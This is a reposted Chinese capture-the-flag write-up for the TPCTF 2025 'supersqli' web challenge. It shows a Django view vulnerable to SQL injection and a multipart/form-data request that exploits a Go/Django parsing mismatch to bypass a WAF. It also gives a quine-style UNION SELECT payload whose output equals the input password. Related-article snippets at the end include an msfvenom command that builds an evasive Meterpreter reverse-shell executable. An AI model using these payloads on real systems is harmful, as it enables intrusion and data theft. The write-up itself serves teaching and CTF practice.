ctf-web: 不统一的解析 + sql注入要求输入与输出相等 -- tpctf supersqli

# 从 django.shortcuts 模块导入 render 函数,用于渲染模板
from django.shortcuts import render
# 从 django.db 模块导入 connection 对象,用于数据库连接
from django.db import connection# 此模块用于创建视图函数
# 从 django.http 模块导入 HttpResponse 和 HttpRequest 类
from django.http import HttpResponse,HttpRequest
# 从当前应用的 models 模块导入 AdminUser 和 Blog 模型
from .models import AdminUser,Blog
# 导入 os 模块,用于与操作系统进行交互
import os# 定义一个名为 index 的视图函数,接收一个 HttpRequest 对象作为参数
def index(request:HttpRequest):# 返回一个 HttpResponse 对象,内容为 'Welcome to TPCTF 2025'return HttpResponse('Welcome to TPCTF 2025')# 定义一个名为 flag 的视图函数,接收一个 HttpRequest 对象作为参数
def flag(request:HttpRequest):# 检查请求的方法是否不是 POSTif request.method != 'POST':# 如果不是 POST 请求,返回一个 HttpResponse 对象,内容为 'Welcome to TPCTF 2025'return HttpResponse('Welcome to TPCTF 2025')# 从 POST 请求中获取名为 'username' 的参数值username = request.POST.get('username')# 检查用户名是否不是 'admin'if username != 'admin':# 如果用户名不是 'admin',返回一个 HttpResponse 对象,内容为 'you are not admin.'return HttpResponse('you are not admin.')# 从 POST 请求中获取名为 'password' 的参数值password = request.POST.get('password')# 使用原始 SQL 查询从 blog_adminuser 表中筛选出用户名和密码匹配的用户users:AdminUser = AdminUser.objects.raw("SELECT * FROM blog_adminuser WHERE username='%s' and password ='%s'" % (username,password))try:# 断言用户输入的密码与查询结果中的第一个用户的密码相同assert password == users[0].password# 如果断言成功,返回一个 HttpResponse 对象,内容为环境变量中 'FLAG' 的值return HttpResponse(os.environ.get('FLAG'))except:# 如果断言失败或出现异常,返回一个 HttpResponse 对象,内容为 'wrong password'return HttpResponse('wrong password')

服务器要求输入的密码与数据库返回内容相同,且服务器存在waf

if r.Method == http.MethodPost {  ct := r.Header.Get("Content-Type")  mediaType, _, err := mime.ParseMediaType(ct)  if err != nil {  log.Printf("解析 Content-Type 失败: %v", err)  return true  }  if mediaType == "multipart/form-data" {  if err := r.ParseMultipartForm(65535); err != nil {  log.Printf("解析 POST 参数失败: %v", err)  return true  }  } else {  if err := r.ParseForm(); err != nil {  log.Printf("解析 POST 参数失败: %v", err)  return true  }  }  for key, values := range r.PostForm {  log.Printf("POST 参数 %s=%v", key, values)  for _, value := range values {  if sqlInjectionPattern.MatchString(value) {  log.Printf("阻止 SQL 注入: POST 参数 %s=%s", key, value)  return true  }  if rcePattern.MatchString(value) {  log.Printf("阻止 RCE 攻击: POST 参数 %s=%s", key, value)  return true  }  if hotfixPattern.MatchString(value) {  log.Printf("POST 参数 %s=%s", key, value)  return true  }  }  }  
}

tips: 跨语言容易出现解析差异

multipart/form-data

multipart/form-data 是一种用于在 HTTP 请求中传输表单数据的编码格式,特别适用于同时上传文件和提交文本字段的场景。它的核心设计是通过分隔符(boundary)将请求体分割为多个独立的部分,每部分对应一个表单字段(如文本输入或文件)。

为什么需要它?

  1. 支持文件上传:传统的 application/x-www-form-urlencoded 格式只能编码简单的键值对文本,而 multipart/form-data 可以高效处理二进制文件(如图片、视频)。
  2. 混合数据类型:允许在一个请求中同时传输文本和文件。
  3. 避免数据混乱:通过唯一的分隔符(boundary)确保各部分数据不冲突。

格式结构

  1. HTTP 请求头 中需指定:
   Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
  • boundary 是一个随机生成的字符串,用于分隔不同部分。
  1. 请求体示例

    ----WebKitFormBoundaryABC123
    Content-Disposition: form-data; name="username"Alice
    ----WebKitFormBoundaryABC123
    Content-Disposition: form-data; name="avatar"; filename="photo.jpg"
    Content-Type: image/jpeg(这里是文件的二进制数据)
    ----WebKitFormBoundaryABC123--
    
    • 每个字段由 boundary 分隔。
    • 文本字段name 指定字段名,内容直接跟在空行后。
    • 文件字段:需指定 filenameContent-Type(如 image/jpeg)。

tips: 有些时候multipart/form-data的键值可能被认为是post的键值

当我们发送

POST /flag/ HTTP/1.1
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Host: 127.0.0.1:3592
Content-Length: 301
Content-Type: multipart/form-data; boundary=ba325d8a6c0000320059df30eab0bb5e--ba325d8a6c0000320059df30eab0bb5e
Content-Disposition: form-data; name="username"admin
--ba325d8a6c0000320059df30eab0bb5e
Content-Disposition: form-data; name="file"; filename="A5rZ.txt";name="
Content-Disposition: form-data; name="password";select
--ba325d8a6c0000320059df30eab0bb5e--

go 不会认为 password是一个参数, 但是django会认为他是一个参数

现在我们解决了waf,又如何使得输入与输出相等呢?

我们能找到这样的有效负载,我们来看看原理是什么

1' union select 1,2,replace(replace('1" union select 1,2,replace(replace("#",char(34),char(39)),char(35),"#")-- ',char(34),char(39)),char(35),'1" union select 1,2,replace(replace("#",char(34),char(39)),char(35),"#")-- ')-- 

当有效负载被拼接到后端,他看起来应该是这样的

blog_adminuser具有三列

SELECT * FROM blog_adminuser 
WHERE username='admin' AND password='1'UNION SELECT 1,2,REPLACE(REPLACE('1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- ',CHAR(34),CHAR(39)),CHAR(35),'1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- ')
-- '
    REPLACE(REPLACE('1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- ',CHAR(34),CHAR(39)),CHAR(35),'1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- ')

也就是

out = '1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- '.replace(chr(34),chr(39))  
print(out)  
out = out.replace(chr(35), """'1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- '""")  
print(out)
1' UNION SELECT 1,2,REPLACE(REPLACE('#',CHAR(34),CHAR(39)),CHAR(35),'#')-- 
1' UNION SELECT 1,2,REPLACE(REPLACE(''1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- '',CHAR(34),CHAR(39)),CHAR(35),''1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- '')-- 

拓展 - Quine

Quine 程序是一种特殊的程序,其功能是输出自身的源代码,以下示例都会输出自身

s = 's = %r\nprint(s%%s)'  
print(s % s)
s = '''s = \'\'\'%s\'\'\'\\nart = \'\'\'%s\'\'\'\\nprint(s %% (s.replace(\'\\\\n\', \'\\\\\\\\n\').replace(\'\\\'\', \'\\\\\\\'\'), art)'''
art = r'''____                    _              / ___| _   _ _ __   ___ (_)_ __   __ _ \___ \| | | | '_ \ / _ \| | '_ \ / _` |___) | |_| | | | | (_) | | | | | (_| ||____/ \__,_|_| |_|\___/|_|_| |_|\__, ||___/ 
Self-Replicating Code (Quine) v1.0
'''
print(s % (s.replace('\n', '\\n').replace('\'', '\\\''), art))

参考

https://blog.0xfff.team/posts/tpctf_2025_writeup

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/73524.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

LLM推理加速框架有哪些

LLM推理加速框架有哪些 目录 LLM推理加速框架有哪些1. TensorRT简介简单使用示例2. Triton Inference Server简介简单使用示例3. SGLang简介简单使用示例4. vLLM简介简单使用示例1. TensorRT 简介 TensorRT 是 NVIDIA 推出的一个用于高性能深度学习推理的 SDK。它能够对训练好…

【深度学习与实战】2.1、线性回归模型与梯度下降法先导案例--最小二乘法(向量形式求解)

为了求解损失函数 对 的导数,并利用最小二乘法向量形式求解 的值,我们按照以下步骤进行: ‌1. 损失函数的含义‌ 这是‌线性回归‌的平方误差损失函数,目标是最小化预测值 与真实值 之间的差距。 ‌定义损失函数‌&#xf…

S7-1200对V90 PN进行位置控制的三种方法

S7-1200系列PLC通过PROFINET与V90 PN伺服驱动器搭配进行位置控制,实现的方法主要有以下三种: ? 方法一、在PLC中组态位置轴工艺对象,V90使用标准报文3,通过MC_Power、MC_MoveAbsolute等PLC Open标准程序块进行控制, 这种控制方式属于中央控制方式(位置控制在PLC中计算,驱…

爱普生FC-135晶振5G手机的极端温度性能守护者

在5G时代,智能手机不仅需要高速率与低延迟,更需在严寒、酷暑、振动等复杂环境中保持稳定运行。作为 5G 手机的核心时钟源,爱普生32.768kHz晶振FC-135凭借其宽温适应性、高精度稳定性与微型化设计,成为5G手机核心时钟源的理想选择&…

ROS--IMU数据包

IMU惯性测量单元 一:IMU二:ROS中三:IMU数据包三:总结 提示:以下是本篇文章正文内容,下面案例可供参考 一:IMU IMU(Inertial Measurement Unit,惯性测量单元&#xff09…

数据文件误删除,OceanBase中如何重建受影响的节点

当不慎误删数据文件且当前没有现成的可替换节点时,在OceanBase中,不必急于采取极端措施,可以考虑运用 server_permanent_offline_time 参数,来重建受影响的节点。 原理: server_permanent_offline_time 是 OceanBase数…

Python:匹配多个字符,如何匹配开头

匹配字符0次或无数次(*): import re resre.match([A-Z][a-z]*,Lihailu) print(res.group())#提取数据 输出结果可以全部输出 匹配字符至少一次(): import re resre.match([A-Za-z]python,apython) print(res.group())#提取数据(后边只写python会…

Unity-RectTransform设置UI width

不知道有没人需要这样的代码,就是.sizeDelta //不确定是不是英文翻译的原因,基本很难理解,sizeDeltaSize,//未必完全正确,但这么写好像总没错过 //image 在一个UnityEngine.UI.Image 的数组内foreach (var image in l…

java学习——函数式编程(1)

函数式编程 Java 的函数式编程是一种以函数为核心构建逻辑的编程范式,强调不可变性、声明式代码和无副作用的操作。它通过Lambda表达式、函数式接口(如Function、Predicate、Consumer等)和Stream API等特性实现,将计算过程抽象为函数的组合与转换,而非传统的命令式步骤。…

AP CSA FRQ Q2 Past Paper 五年真题汇总 2023-2019

Author(wechat): bigshuang2020 ap csa tutor, providing 1-on-1 tutoring. 国际教育计算机老师, 擅长答疑讲解,带学生实践学习。 热爱创作,作品:ap csa原创双语教案,真题梳理汇总, AP CSA FRQ专题冲刺, AP CSA MCQ小题…

线程池详解:在SpringBoot中的最佳实践

线程池详解:在SpringBoot中的最佳实践 引言 在Java并发编程中,线程池是一种非常重要的资源管理工具,它允许我们在应用程序中有效地管理和重用线程,从而提高性能并降低资源消耗。特别是在SpringBoot等企业级应用中,正…

2025年IT行业技术革命全景解析:从AI到量子计算的落地实践

简介 2025年,全球IT行业正经历一场由AI、量子计算、物联网等技术驱动的变革。从BOE的AI制造系统到德易科技的无人机光伏巡检,从鲲鹏处理器的国产化突破到量子计算的算力革命,技术创新正在重塑产业格局。本文结合最新行业动态与实战案例&…

JVM - 年轻代和老年代

通过一些问题来讨论 JVM 中年轻代和老年代的内容 为什么要区分年轻代和老年代?哪些对像会进入老年代?什么时候会进行年轻代GC?什么时候会进行老年代GC? 1. 为什么要区分年轻代和老年代? 年轻代中的对象大部分都是短期…

【react】在react中async/await一般用来实现什么功能

目录 基本概念 工作原理 优点 注意事项 底层原理 实际应用场景 1. 数据获取 (API 请求) 2. 表单提交 3. 异步状态管理 4. 异步路由切换 5. 异步数据预加载 6. 第三方 API 调用 7. 文件上传/下载 8. 路由导航拦截 关键注意事项 基本概念 async 函数:用…

高维小样本数据的在线流特征选择

发布于24年国际学习和控制论杂志 文献地址 简要总结 《Online streaming feature selection for high-dimensional small-sample data》研究了高维小样本数据(HDSS)在类别不平衡情况下的在线流式特征选择问题,提出了一种名为OSFSHS的算法。…

1688.item_search_seller-搜索店铺列表接口返回数据说明

一、接口概述 item_search_seller 是 1688 提供的一个 API 接口,用于搜索店铺列表。通过该接口,开发者可以查询特定店铺的相关信息,包括店铺的基本信息、商品列表等。该接口广泛应用于电商数据采集、市场调研、店铺分析等场景。 二、接口请…

uniapp主题切换功能,适配H5、小程序

实现方法 方法性能消耗维护成本适用场景内联样式较高低小程序CSS变量属性选择器低中H5混合方案中等低跨平台项目 优势特点 性能优化: H5端使用CSS原生变量切换小程序端使用高效样式字符串生成切换动画流畅 维护性提升 主题配置集中管理新增主题只需要拓展vars对象…

线程未关闭导致资源泄漏

文章目录 资源泄漏(线程未关闭)问题描述错误实现优化原理正确实现优化原理 资源泄漏(线程未关闭) 问题描述 应用程序启动时创建线程池处理任务,但未在应用关闭时正确关闭线程池。 现象: 应用重启时&…

MSF木马的生成及免杀

先简单生成一个木马 ┌──(kali㉿kali)-[~] └─$ msfvenom -p windows/meterpreter/reverse_tcp lhosts61.139.2.130 lport3333 -e cmd/echo -i 10 -f exe -o cmd_echo_113_3333_10.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the pa…

用C#实现UDP服务器

对UDP服务器的要求 如同TCP通信一样让UDP服务端可以服务多个客户端 需要具备的条件: 1.区分消息类型(不需要处理分包、黏包) 2.能够接收多个客户端的消息 3.能够主动给自己发过消息的客户端发消息(记录客户端信息)…